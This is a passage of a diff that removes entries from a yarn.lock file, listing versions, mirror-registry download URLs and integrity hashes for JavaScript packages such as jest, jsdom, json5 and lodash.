-    jest-each "^24.9.0"
-    jest-matcher-utils "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-runtime "^24.9.0"
-    jest-snapshot "^24.9.0"
-    jest-util "^24.9.0"
-    pretty-format "^24.9.0"
-    throat "^4.0.0"
-
-jest-leak-detector@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-leak-detector/download/jest-leak-detector-24.9.0.tgz?cache=0&sync_timestamp=1622290386972&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-leak-detector%2Fdownload%2Fjest-leak-detector-24.9.0.tgz#b665dea7c77100c5c4f7dfcb153b65cf07dcf96a"
-  integrity sha1-tmXep8dxAMXE99/LFTtlzwfc+Wo=
-  dependencies:
-    jest-get-type "^24.9.0"
-    pretty-format "^24.9.0"
-
-jest-matcher-utils@^24.0.0, jest-matcher-utils@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-matcher-utils/download/jest-matcher-utils-24.9.0.tgz#f5b3661d5e628dffe6dd65251dfdae0e87c3a073"
-  integrity sha1-9bNmHV5ijf/m3WUlHf2uDofDoHM=
-  dependencies:
-    chalk "^2.0.1"
-    jest-diff "^24.9.0"
-    jest-get-type "^24.9.0"
-    pretty-format "^24.9.0"
-
-jest-message-util@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-message-util/download/jest-message-util-24.9.0.tgz#527f54a1e380f5e202a8d1149b0ec872f43119e3"
-  integrity sha1-Un9UoeOA9eICqNEUmw7IcvQxGeM=
-  dependencies:
-    "@babel/code-frame" "^7.0.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/stack-utils" "^1.0.1"
-    chalk "^2.0.1"
-    micromatch "^3.1.10"
-    slash "^2.0.0"
-    stack-utils "^1.0.1"
-
-jest-mock@^24.0.0, jest-mock@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-mock/download/jest-mock-24.9.0.tgz#c22835541ee379b908673ad51087a2185c13f1c6"
-  integrity sha1-wig1VB7jebkIZzrVEIeiGFwT8cY=
-  dependencies:
-    "@jest/types" "^24.9.0"
-
-jest-pnp-resolver@^1.2.1:
-  version "1.2.2"
-  resolved "https://registry.nlark.com/jest-pnp-resolver/download/jest-pnp-resolver-1.2.2.tgz#b704ac0ae028a89108a4d040b3f919dfddc8e33c"
-  integrity sha1-twSsCuAoqJEIpNBAs/kZ393I4zw=
-
-jest-regex-util@^24.3.0, jest-regex-util@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-regex-util/download/jest-regex-util-24.9.0.tgz?cache=0&sync_timestamp=1621937328238&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-regex-util%2Fdownload%2Fjest-regex-util-24.9.0.tgz#c13fb3380bde22bf6575432c493ea8fe37965636"
-  integrity sha1-wT+zOAveIr9ldUMsST6o/jeWVjY=
-
-jest-resolve-dependencies@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-resolve-dependencies/download/jest-resolve-dependencies-24.9.0.tgz#ad055198959c4cfba8a4f066c673a3f0786507ab"
-  integrity sha1-rQVRmJWcTPuopPBmxnOj8HhlB6s=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    jest-regex-util "^24.3.0"
-    jest-snapshot "^24.9.0"
-
-jest-resolve@24.9.0, jest-resolve@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-resolve/download/jest-resolve-24.9.0.tgz?cache=0&sync_timestamp=1622709020612&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-resolve%2Fdownload%2Fjest-resolve-24.9.0.tgz#dff04c7687af34c4dd7e524892d9cf77e5d17321"
-  integrity sha1-3/BMdoevNMTdflJIktnPd+XRcyE=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    browser-resolve "^1.11.3"
-    chalk "^2.0.1"
-    jest-pnp-resolver "^1.2.1"
-    realpath-native "^1.1.0"
-
-jest-runner@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-runner/download/jest-runner-24.9.0.tgz?cache=0&sync_timestamp=1622709048853&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-runner%2Fdownload%2Fjest-runner-24.9.0.tgz#574fafdbd54455c2b34b4bdf4365a23857fcdf42"
-  integrity sha1-V0+v29VEVcKzS0vfQ2WiOFf830I=
-  dependencies:
-    "@jest/console" "^24.7.1"
-    "@jest/environment" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.4.2"
-    exit "^0.1.2"
-    graceful-fs "^4.1.15"
-    jest-config "^24.9.0"
-    jest-docblock "^24.3.0"
-    jest-haste-map "^24.9.0"
-    jest-jasmine2 "^24.9.0"
-    jest-leak-detector "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-resolve "^24.9.0"
-    jest-runtime "^24.9.0"
-    jest-util "^24.9.0"
-    jest-worker "^24.6.0"
-    source-map-support "^0.5.6"
-    throat "^4.0.0"
-
-jest-runtime@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-runtime/download/jest-runtime-24.9.0.tgz#9f14583af6a4f7314a6a9d9f0226e1a781c8e4ac"
-  integrity sha1-nxRYOvak9zFKap2fAibhp4HI5Kw=
-  dependencies:
-    "@jest/console" "^24.7.1"
-    "@jest/environment" "^24.9.0"
-    "@jest/source-map" "^24.3.0"
-    "@jest/transform" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/yargs" "^13.0.0"
-    chalk "^2.0.1"
-    exit "^0.1.2"
-    glob "^7.1.3"
-    graceful-fs "^4.1.15"
-    jest-config "^24.9.0"
-    jest-haste-map "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-mock "^24.9.0"
-    jest-regex-util "^24.3.0"
-    jest-resolve "^24.9.0"
-    jest-snapshot "^24.9.0"
-    jest-util "^24.9.0"
-    jest-validate "^24.9.0"
-    realpath-native "^1.1.0"
-    slash "^2.0.0"
-    strip-bom "^3.0.0"
-    yargs "^13.3.0"
-
-jest-serializer@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-serializer/download/jest-serializer-24.9.0.tgz#e6d7d7ef96d31e8b9079a714754c5d5c58288e73"
-  integrity sha1-5tfX75bTHouQeacUdUxdXFgojnM=
-
-jest-snapshot@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-snapshot/download/jest-snapshot-24.9.0.tgz#ec8e9ca4f2ec0c5c87ae8f925cf97497b0e951ba"
-  integrity sha1-7I6cpPLsDFyHro+SXPl0l7DpUbo=
-  dependencies:
-    "@babel/types" "^7.0.0"
-    "@jest/types" "^24.9.0"
-    chalk "^2.0.1"
-    expect "^24.9.0"
-    jest-diff "^24.9.0"
-    jest-get-type "^24.9.0"
-    jest-matcher-utils "^24.9.0"
-    jest-message-util "^24.9.0"
-    jest-resolve "^24.9.0"
-    mkdirp "^0.5.1"
-    natural-compare "^1.4.0"
-    pretty-format "^24.9.0"
-    semver "^6.2.0"
-
-jest-util@^24.0.0, jest-util@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-util/download/jest-util-24.9.0.tgz#7396814e48536d2e85a37de3e4c431d7cb140162"
-  integrity sha1-c5aBTkhTbS6Fo33j5MQx18sUAWI=
-  dependencies:
-    "@jest/console" "^24.9.0"
-    "@jest/fake-timers" "^24.9.0"
-    "@jest/source-map" "^24.9.0"
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    callsites "^3.0.0"
-    chalk "^2.0.1"
-    graceful-fs "^4.1.15"
-    is-ci "^2.0.0"
-    mkdirp "^0.5.1"
-    slash "^2.0.0"
-    source-map "^0.6.0"
-
-jest-validate@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-validate/download/jest-validate-24.9.0.tgz#0775c55360d173cd854e40180756d4ff52def8ab"
-  integrity sha1-B3XFU2DRc82FTkAYB1bU/1Le+Ks=
-  dependencies:
-    "@jest/types" "^24.9.0"
-    camelcase "^5.3.1"
-    chalk "^2.0.1"
-    jest-get-type "^24.9.0"
-    leven "^3.1.0"
-    pretty-format "^24.9.0"
-
-jest-watch-typeahead@0.4.2:
-  version "0.4.2"
-  resolved "https://registry.nlark.com/jest-watch-typeahead/download/jest-watch-typeahead-0.4.2.tgz?cache=0&sync_timestamp=1622133870733&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest-watch-typeahead%2Fdownload%2Fjest-watch-typeahead-0.4.2.tgz#e5be959698a7fa2302229a5082c488c3c8780a4a"
-  integrity sha1-5b6Vlpin+iMCIppQgsSIw8h4Cko=
-  dependencies:
-    ansi-escapes "^4.2.1"
-    chalk "^2.4.1"
-    jest-regex-util "^24.9.0"
-    jest-watcher "^24.3.0"
-    slash "^3.0.0"
-    string-length "^3.1.0"
-    strip-ansi "^5.0.0"
-
-jest-watcher@^24.3.0, jest-watcher@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-watcher/download/jest-watcher-24.9.0.tgz#4b56e5d1ceff005f5b88e528dc9afc8dd4ed2b3b"
-  integrity sha1-S1bl0c7/AF9biOUo3Jr8jdTtKzs=
-  dependencies:
-    "@jest/test-result" "^24.9.0"
-    "@jest/types" "^24.9.0"
-    "@types/yargs" "^13.0.0"
-    ansi-escapes "^3.0.0"
-    chalk "^2.0.1"
-    jest-util "^24.9.0"
-    string-length "^2.0.0"
-
-jest-worker@^24.6.0, jest-worker@^24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest-worker/download/jest-worker-24.9.0.tgz#5dbfdb5b2d322e98567898238a9697bcce67b3e5"
-  integrity sha1-Xb/bWy0yLphWeJgjipaXvM5ns+U=
-  dependencies:
-    merge-stream "^2.0.0"
-    supports-color "^6.1.0"
-
-jest-worker@^25.1.0:
-  version "25.5.0"
-  resolved "https://registry.nlark.com/jest-worker/download/jest-worker-25.5.0.tgz#2611d071b79cea0f43ee57a3d118593ac1547db1"
-  integrity sha1-JhHQcbec6g9D7lej0RhZOsFUfbE=
-  dependencies:
-    merge-stream "^2.0.0"
-    supports-color "^7.0.0"
-
-jest@24.9.0:
-  version "24.9.0"
-  resolved "https://registry.nlark.com/jest/download/jest-24.9.0.tgz?cache=0&sync_timestamp=1622709000600&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjest%2Fdownload%2Fjest-24.9.0.tgz#987d290c05a08b52c56188c1002e368edb007171"
-  integrity sha1-mH0pDAWgi1LFYYjBAC42jtsAcXE=
-  dependencies:
-    import-local "^2.0.0"
-    jest-cli "^24.9.0"
-
-"js-tokens@^3.0.0 || ^4.0.0", js-tokens@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/js-tokens/download/js-tokens-4.0.0.tgz?cache=0&sync_timestamp=1619345098261&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjs-tokens%2Fdownload%2Fjs-tokens-4.0.0.tgz#19203fb59991df98e3a287050d4647cdeaf32499"
-  integrity sha1-GSA/tZmR35jjoocFDUZHzerzJJk=
-
-js-tokens@^3.0.2:
-  version "3.0.2"
-  resolved "https://registry.nlark.com/js-tokens/download/js-tokens-3.0.2.tgz?cache=0&sync_timestamp=1619345098261&other_urls=https%3A%2F%2Fregistry.nlark.com%2Fjs-tokens%2Fdownload%2Fjs-tokens-3.0.2.tgz#9866df395102130e38f7f996bceb65443209c25b"
-  integrity sha1-mGbfOVECEw449/mWvOtlRDIJwls=
-
-js-yaml@^3.13.1:
-  version "3.14.1"
-  resolved "https://registry.npm.taobao.org/js-yaml/download/js-yaml-3.14.1.tgz?cache=0&sync_timestamp=1618435004368&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjs-yaml%2Fdownload%2Fjs-yaml-3.14.1.tgz#dae812fdb3825fa306609a8717383c50c36a0537"
-  integrity sha1-2ugS/bOCX6MGYJqHFzg8UMNqBTc=
-  dependencies:
-    argparse "^1.0.7"
-    esprima "^4.0.0"
-
-jsbn@~0.1.0:
-  version "0.1.1"
-  resolved "https://registry.nlark.com/jsbn/download/jsbn-0.1.1.tgz#a5e654c2e5a2deb5f201d96cefbca80c0ef2f513"
-  integrity sha1-peZUwuWi3rXyAdls77yoDA7y9RM=
-
-jsdom@^11.5.1:
-  version "11.12.0"
-  resolved "https://registry.nlark.com/jsdom/download/jsdom-11.12.0.tgz#1a80d40ddd378a1de59656e9e6dc5a3ba8657bc8"
-  integrity sha1-GoDUDd03ih3lllbp5txaO6hle8g=
-  dependencies:
-    abab "^2.0.0"
-    acorn "^5.5.3"
-    acorn-globals "^4.1.0"
-    array-equal "^1.0.0"
-    cssom ">= 0.3.2 < 0.4.0"
-    cssstyle "^1.0.0"
-    data-urls "^1.0.0"
-    domexception "^1.0.1"
-    escodegen "^1.9.1"
-    html-encoding-sniffer "^1.0.2"
-    left-pad "^1.3.0"
-    nwsapi "^2.0.7"
-    parse5 "4.0.0"
-    pn "^1.1.0"
-    request "^2.87.0"
-    request-promise-native "^1.0.5"
-    sax "^1.2.4"
-    symbol-tree "^3.2.2"
-    tough-cookie "^2.3.4"
-    w3c-hr-time "^1.0.1"
-    webidl-conversions "^4.0.2"
-    whatwg-encoding "^1.0.3"
-    whatwg-mimetype "^2.1.0"
-    whatwg-url "^6.4.1"
-    ws "^5.2.0"
-    xml-name-validator "^3.0.0"
-
-jsdom@^14.1.0:
-  version "14.1.0"
-  resolved "https://registry.nlark.com/jsdom/download/jsdom-14.1.0.tgz#916463b6094956b0a6c1782c94e380cd30e1981b"
-  integrity sha1-kWRjtglJVrCmwXgslOOAzTDhmBs=
-  dependencies:
-    abab "^2.0.0"
-    acorn "^6.0.4"
-    acorn-globals "^4.3.0"
-    array-equal "^1.0.0"
-    cssom "^0.3.4"
-    cssstyle "^1.1.1"
-    data-urls "^1.1.0"
-    domexception "^1.0.1"
-    escodegen "^1.11.0"
-    html-encoding-sniffer "^1.0.2"
-    nwsapi "^2.1.3"
-    parse5 "5.1.0"
-    pn "^1.1.0"
-    request "^2.88.0"
-    request-promise-native "^1.0.5"
-    saxes "^3.1.9"
-    symbol-tree "^3.2.2"
-    tough-cookie "^2.5.0"
-    w3c-hr-time "^1.0.1"
-    w3c-xmlserializer "^1.1.2"
-    webidl-conversions "^4.0.2"
-    whatwg-encoding "^1.0.5"
-    whatwg-mimetype "^2.3.0"
-    whatwg-url "^7.0.0"
-    ws "^6.1.2"
-    xml-name-validator "^3.0.0"
-
-jsesc@^2.5.1:
-  version "2.5.2"
-  resolved "https://registry.nlark.com/jsesc/download/jsesc-2.5.2.tgz#80564d2e483dacf6e8ef209650a67df3f0c283a4"
-  integrity sha1-gFZNLkg9rPbo7yCWUKZ98/DCg6Q=
-
-jsesc@~0.5.0:
-  version "0.5.0"
-  resolved "https://registry.nlark.com/jsesc/download/jsesc-0.5.0.tgz#e7dee66e35d6fc16f710fe91d5cf69f70f08911d"
-  integrity sha1-597mbjXW/Bb3EP6R1c9p9w8IkR0=
-
-json-parse-better-errors@^1.0.1, json-parse-better-errors@^1.0.2:
-  version "1.0.2"
-  resolved "https://registry.nlark.com/json-parse-better-errors/download/json-parse-better-errors-1.0.2.tgz#bb867cfb3450e69107c131d1c514bab3dc8bcaa9"
-  integrity sha1-u4Z8+zRQ5pEHwTHRxRS6s9yLyqk=
-
-json-parse-even-better-errors@^2.3.0:
-  version "2.3.1"
-  resolved "https://registry.nlark.com/json-parse-even-better-errors/download/json-parse-even-better-errors-2.3.1.tgz#7c47805a94319928e05777405dc12e1f7a4ee02d"
-  integrity sha1-fEeAWpQxmSjgV3dAXcEuH3pO4C0=
-
-json-schema-traverse@^0.4.1:
-  version "0.4.1"
-  resolved "https://registry.nlark.com/json-schema-traverse/download/json-schema-traverse-0.4.1.tgz#69f6a87d9513ab8bb8fe63bdb0979c448e684660"
-  integrity sha1-afaofZUTq4u4/mO9sJecRI5oRmA=
-
-json-schema@0.2.3:
-  version "0.2.3"
-  resolved "https://registry.npm.taobao.org/json-schema/download/json-schema-0.2.3.tgz?cache=0&sync_timestamp=1609553637722&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Fjson-schema%2Fdownload%2Fjson-schema-0.2.3.tgz#b480c892e59a2f05954ce727bd3f2a4e882f9e13"
-  integrity sha1-tIDIkuWaLwWVTOcnvT8qTogvnhM=
-
-json-stable-stringify-without-jsonify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/json-stable-stringify-without-jsonify/download/json-stable-stringify-without-jsonify-1.0.1.tgz#9db7b59496ad3f3cfef30a75142d2d930ad72651"
-  integrity sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=
-
-json-stable-stringify@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/json-stable-stringify/download/json-stable-stringify-1.0.1.tgz#9a759d39c5f2ff503fd5300646ed445f88c4f9af"
-  integrity sha1-mnWdOcXy/1A/1TAGRu1EX4jE+a8=
-  dependencies:
-    jsonify "~0.0.0"
-
-json-stringify-safe@~5.0.1:
-  version "5.0.1"
-  resolved "https://registry.npm.taobao.org/json-stringify-safe/download/json-stringify-safe-5.0.1.tgz#1296a2d58fd45f19a0f6ce01d65701e2c735b6eb"
-  integrity sha1-Epai1Y/UXxmg9s4B1lcB4sc1tus=
-
-json3@^3.3.2:
-  version "3.3.3"
-  resolved "https://registry.npm.taobao.org/json3/download/json3-3.3.3.tgz#7fc10e375fc5ae42c4705a5cc0aa6f62be305b81"
-  integrity sha1-f8EON1/FrkLEcFpcwKpvYr4wW4E=
-
-json5@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.npm.taobao.org/json5/download/json5-1.0.1.tgz#779fb0018604fa854eacbf6252180d83543e3dbe"
-  integrity sha1-d5+wAYYE+oVOrL9iUhgNg1Q+Pb4=
-  dependencies:
-    minimist "^1.2.0"
-
-json5@^2.1.2:
-  version "2.2.0"
-  resolved "https://registry.npm.taobao.org/json5/download/json5-2.2.0.tgz#2dfefe720c6ba525d9ebd909950f0515316c89a3"
-  integrity sha1-Lf7+cgxrpSXZ69kJlQ8FFTFsiaM=
-  dependencies:
-    minimist "^1.2.5"
-
-jsonfile@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/jsonfile/download/jsonfile-4.0.0.tgz#8771aae0799b64076b76640fca058f9c10e33ecb"
-  integrity sha1-h3Gq4HmbZAdrdmQPygWPnBDjPss=
-  optionalDependencies:
-    graceful-fs "^4.1.6"
-
-jsonify@~0.0.0:
-  version "0.0.0"
-  resolved "https://registry.nlark.com/jsonify/download/jsonify-0.0.0.tgz#2c74b6ee41d93ca51b7b5aaee8f503631d252a73"
-  integrity sha1-LHS27kHZPKUbe1qu6PUDYx0lKnM=
-
-jsprim@^1.2.2:
-  version "1.4.1"
-  resolved "https://registry.npm.taobao.org/jsprim/download/jsprim-1.4.1.tgz#313e66bc1e5cc06e438bc1b7499c2e5c56acb6a2"
-  integrity sha1-MT5mvB5cwG5Di8G3SZwuXFastqI=
-  dependencies:
-    assert-plus "1.0.0"
-    extsprintf "1.3.0"
-    json-schema "0.2.3"
-    verror "1.10.0"
-
-jsx-ast-utils@^2.2.1, jsx-ast-utils@^2.2.3:
-  version "2.4.1"
-  resolved "https://registry.npm.taobao.org/jsx-ast-utils/download/jsx-ast-utils-2.4.1.tgz#1114a4c1209481db06c690c2b4f488cc665f657e"
-  integrity sha1-ERSkwSCUgdsGxpDCtPSIzGZfZX4=
-  dependencies:
-    array-includes "^3.1.1"
-    object.assign "^4.1.0"
-
-killable@^1.0.1:
-  version "1.0.1"
-  resolved "https://registry.nlark.com/killable/download/killable-1.0.1.tgz#4c8ce441187a061c7474fb87ca08e2a638194892"
-  integrity sha1-TIzkQRh6Bhx0dPuHygjipjgZSJI=
-
-kind-of@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-2.0.1.tgz#018ec7a4ce7e3a86cb9141be519d24c8faa981b5"
-  integrity sha1-AY7HpM5+OobLkUG+UZ0kyPqpgbU=
-  dependencies:
-    is-buffer "^1.0.2"
-
-kind-of@^3.0.2, kind-of@^3.0.3, kind-of@^3.2.0:
-  version "3.2.2"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-3.2.2.tgz#31ea21a734bab9bbb0f32466d893aea51e4a3c64"
-  integrity sha1-MeohpzS6ubuw8yRm2JOupR5KPGQ=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-4.0.0.tgz#20813df3d712928b207378691a45066fae72dd57"
-  integrity sha1-IIE989cSkosgc3hpGkUGb65y3Vc=
-  dependencies:
-    is-buffer "^1.1.5"
-
-kind-of@^5.0.0:
-  version "5.1.0"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-5.1.0.tgz#729c91e2d857b7a419a1f9aa65685c4c33f5845d"
-  integrity sha1-cpyR4thXt6QZofmqZWhcTDP1hF0=
-
-kind-of@^6.0.0, kind-of@^6.0.2:
-  version "6.0.3"
-  resolved "https://registry.nlark.com/kind-of/download/kind-of-6.0.3.tgz#07c05034a6c349fa06e24fa35aa76db4580ce4dd"
-  integrity sha1-B8BQNKbDSfoG4k+jWqdttFgM5N0=
-
-kleur@^3.0.3:
-  version "3.0.3"
-  resolved "https://registry.nlark.com/kleur/download/kleur-3.0.3.tgz#a79c9ecc86ee1ce3fa6206d1216c501f147fc07e"
-  integrity sha1-p5yezIbuHOP6YgbRIWxQHxR/wH4=
-
-last-call-webpack-plugin@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/last-call-webpack-plugin/download/last-call-webpack-plugin-3.0.0.tgz#9742df0e10e3cf46e5c0381c2de90d3a7a2d7555"
-  integrity sha1-l0LfDhDjz0blwDgcLekNOnotdVU=
-  dependencies:
-    lodash "^4.17.5"
-    webpack-sources "^1.1.0"
-
-lazy-cache@^0.2.3:
-  version "0.2.7"
-  resolved "https://registry.nlark.com/lazy-cache/download/lazy-cache-0.2.7.tgz#7feddf2dcb6edb77d11ef1d117ab5ffdf0ab1b65"
-  integrity sha1-f+3fLctu23fRHvHRF6tf/fCrG2U=
-
-lazy-cache@^1.0.3:
-  version "1.0.4"
-  resolved "https://registry.nlark.com/lazy-cache/download/lazy-cache-1.0.4.tgz#a1d78fc3a50474cb80845d3b3b6e1da49a446e8e"
-  integrity sha1-odePw6UEdMuAhF07O24dpJpEbo4=
-
-lcid@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.nlark.com/lcid/download/lcid-2.0.0.tgz#6ef5d2df60e52f82eb228a4c373e8d1f397253cf"
-  integrity sha1-bvXS32DlL4LrIopMNz6NHzlyU88=
-  dependencies:
-    invert-kv "^2.0.0"
-
-left-pad@^1.3.0:
-  version "1.3.0"
-  resolved "https://registry.nlark.com/left-pad/download/left-pad-1.3.0.tgz#5b8a3a7765dfe001261dde915589e782f8c94d1e"
-  integrity sha1-W4o6d2Xf4AEmHd6RVYnngvjJTR4=
-
-leven@^3.1.0:
-  version "3.1.0"
-  resolved "https://registry.nlark.com/leven/download/leven-3.1.0.tgz#77891de834064cccba82ae7842bb6b14a13ed7f2"
-  integrity sha1-d4kd6DQGTMy6gq54QrtrFKE+1/I=
-
-levenary@^1.1.1:
-  version "1.1.1"
-  resolved "https://registry.npm.taobao.org/levenary/download/levenary-1.1.1.tgz#842a9ee98d2075aa7faeedbe32679e9205f46f77"
-  integrity sha1-hCqe6Y0gdap/ru2+MmeekgX0b3c=
-  dependencies:
-    leven "^3.1.0"
-
-levn@^0.3.0, levn@~0.3.0:
-  version "0.3.0"
-  resolved "https://registry.npm.taobao.org/levn/download/levn-0.3.0.tgz#3b09924edf9f083c0490fdd4c0bc4421e04764ee"
-  integrity sha1-OwmSTt+fCDwEkP3UwLxEIeBHZO4=
-  dependencies:
-    prelude-ls "~1.1.2"
-    type-check "~0.3.2"
-
-lines-and-columns@^1.1.6:
-  version "1.1.6"
-  resolved "https://registry.nlark.com/lines-and-columns/download/lines-and-columns-1.1.6.tgz#1c00c743b433cd0a4e80758f7b64a57440d9ff00"
-  integrity sha1-HADHQ7QzzQpOgHWPe2SldEDZ/wA=
-
-load-json-file@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/load-json-file/download/load-json-file-2.0.0.tgz#7947e42149af80d696cbf797bcaabcfe1fe29ca8"
-  integrity sha1-eUfkIUmvgNaWy/eXvKq8/h/inKg=
-  dependencies:
-    graceful-fs "^4.1.2"
-    parse-json "^2.2.0"
-    pify "^2.0.0"
-    strip-bom "^3.0.0"
-
-load-json-file@^4.0.0:
-  version "4.0.0"
-  resolved "https://registry.npm.taobao.org/load-json-file/download/load-json-file-4.0.0.tgz#2f5f45ab91e33216234fd53adab668eb4ec0993b"
-  integrity sha1-L19Fq5HjMhYjT9U62rZo607AmTs=
-  dependencies:
-    graceful-fs "^4.1.2"
-    parse-json "^4.0.0"
-    pify "^3.0.0"
-    strip-bom "^3.0.0"
-
-loader-fs-cache@^1.0.2:
-  version "1.0.3"
-  resolved "https://registry.nlark.com/loader-fs-cache/download/loader-fs-cache-1.0.3.tgz#f08657646d607078be2f0a032f8bd69dd6f277d9"
-  integrity sha1-8IZXZG1gcHi+LwoDL4vWndbyd9k=
-  dependencies:
-    find-cache-dir "^0.1.1"
-    mkdirp "^0.5.1"
-
-loader-runner@^2.4.0:
-  version "2.4.0"
-  resolved "https://registry.npm.taobao.org/loader-runner/download/loader-runner-2.4.0.tgz?cache=0&sync_timestamp=1610027918622&other_urls=https%3A%2F%2Fregistry.npm.taobao.org%2Floader-runner%2Fdownload%2Floader-runner-2.4.0.tgz#ed47066bfe534d7e84c4c7b9998c2a75607d9357"
-  integrity sha1-7UcGa/5TTX6ExMe5mYwqdWB9k1c=
-
-loader-utils@1.2.3:
-  version "1.2.3"
-  resolved "https://registry.nlark.com/loader-utils/download/loader-utils-1.2.3.tgz?cache=0&sync_timestamp=1618846812625&other_urls=https%3A%2F%2Fregistry.nlark.com%2Floader-utils%2Fdownload%2Floader-utils-1.2.3.tgz#1ff5dc6911c9f0a062531a4c04b609406108c2c7"
-  integrity sha1-H/XcaRHJ8KBiUxpMBLYJQGEIwsc=
-  dependencies:
-    big.js "^5.2.2"
-    emojis-list "^2.0.0"
-    json5 "^1.0.1"
-
-loader-utils@^1.1.0, loader-utils@^1.2.3, loader-utils@^1.4.0:
-  version "1.4.0"
-  resolved "https://registry.nlark.com/loader-utils/download/loader-utils-1.4.0.tgz?cache=0&sync_timestamp=1618846812625&other_urls=https%3A%2F%2Fregistry.nlark.com%2Floader-utils%2Fdownload%2Floader-utils-1.4.0.tgz#c579b5e34cb34b1a74edc6c1fb36bfa371d5a613"
-  integrity sha1-xXm140yzSxp07cbB+za/o3HVphM=
-  dependencies:
-    big.js "^5.2.2"
-    emojis-list "^3.0.0"
-    json5 "^1.0.1"
-
-locate-path@^2.0.0:
-  version "2.0.0"
-  resolved "https://registry.npm.taobao.org/locate-path/download/locate-path-2.0.0.tgz#2b568b265eec944c6d9c0de9c3dbbbca0354cd8e"
-  integrity sha1-K1aLJl7slExtnA3pw9u7ygNUzY4=
-  dependencies:
-    p-locate "^2.0.0"
-    path-exists "^3.0.0"
-
-locate-path@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.npm.taobao.org/locate-path/download/locate-path-3.0.0.tgz#dbec3b3ab759758071b58fe59fc41871af21400e"
-  integrity sha1-2+w7OrdZdYBxtY/ln8QYca8hQA4=
-  dependencies:
-    p-locate "^3.0.0"
-    path-exists "^3.0.0"
-
-locate-path@^5.0.0:
-  version "5.0.0"
-  resolved "https://registry.npm.taobao.org/locate-path/download/locate-path-5.0.0.tgz#1afba396afd676a6d42504d0a67a3a7eb9f62aa0"
-  integrity sha1-Gvujlq/WdqbUJQTQpno6frn2KqA=
-  dependencies:
-    p-locate "^4.1.0"
-
-lodash._reinterpolate@^3.0.0:
-  version "3.0.0"
-  resolved "https://registry.nlark.com/lodash._reinterpolate/download/lodash._reinterpolate-3.0.0.tgz#0ccf2d89166af03b3663c796538b75ac6e114d9d"
-  integrity sha1-DM8tiRZq8Ds2Y8eWU4t1rG4RTZ0=
-
-lodash.debounce@^4.0.8:
-  version "4.0.8"
-  resolved "https://registry.npm.taobao.org/lodash.debounce/download/lodash.debounce-4.0.8.tgz#82d79bff30a67c4005ffd5e2515300ad9ca4d7af"
-  integrity sha1-gteb/zCmfEAF/9XiUVMArZyk168=
-
-lodash.memoize@^4.1.2:
-  version "4.1.2"
-  resolved "https://registry.nlark.com/lodash.memoize/download/lodash.memoize-4.1.2.tgz#bcc6c49a42a2840ed997f323eada5ecd182e0bfe"
-  integrity sha1-vMbEmkKihA7Zl/Mj6tpezRguC/4=
-
-lodash.sortby@^4.7.0:
-  version "4.7.0"
-  resolved "https://registry.npm.taobao.org/lodash.sortby/download/lodash.sortby-4.7.0.tgz#edd14c824e2cc9c1e0b0a1b42bb5210516a42438"
-  integrity sha1-7dFMgk4sycHgsKG0K7UhBRakJDg=
-
-lodash.template@^4.4.0:
-  version "4.5.0"
-  resolved "https://registry.npm.taobao.org/lodash.template/download/lodash.template-4.5.0.tgz#f976195cf3f347d0d5f52483569fe8031ccce8ab"
-  integrity sha1-+XYZXPPzR9DV9SSDVp/oAxzM6Ks=
-  dependencies:
-    lodash._reinterpolate "^3.0.0"
-    lodash.templatesettings "^4.0.0"
-
-lodash.templatesettings@^4.0.0:
-  version "4.2.0"
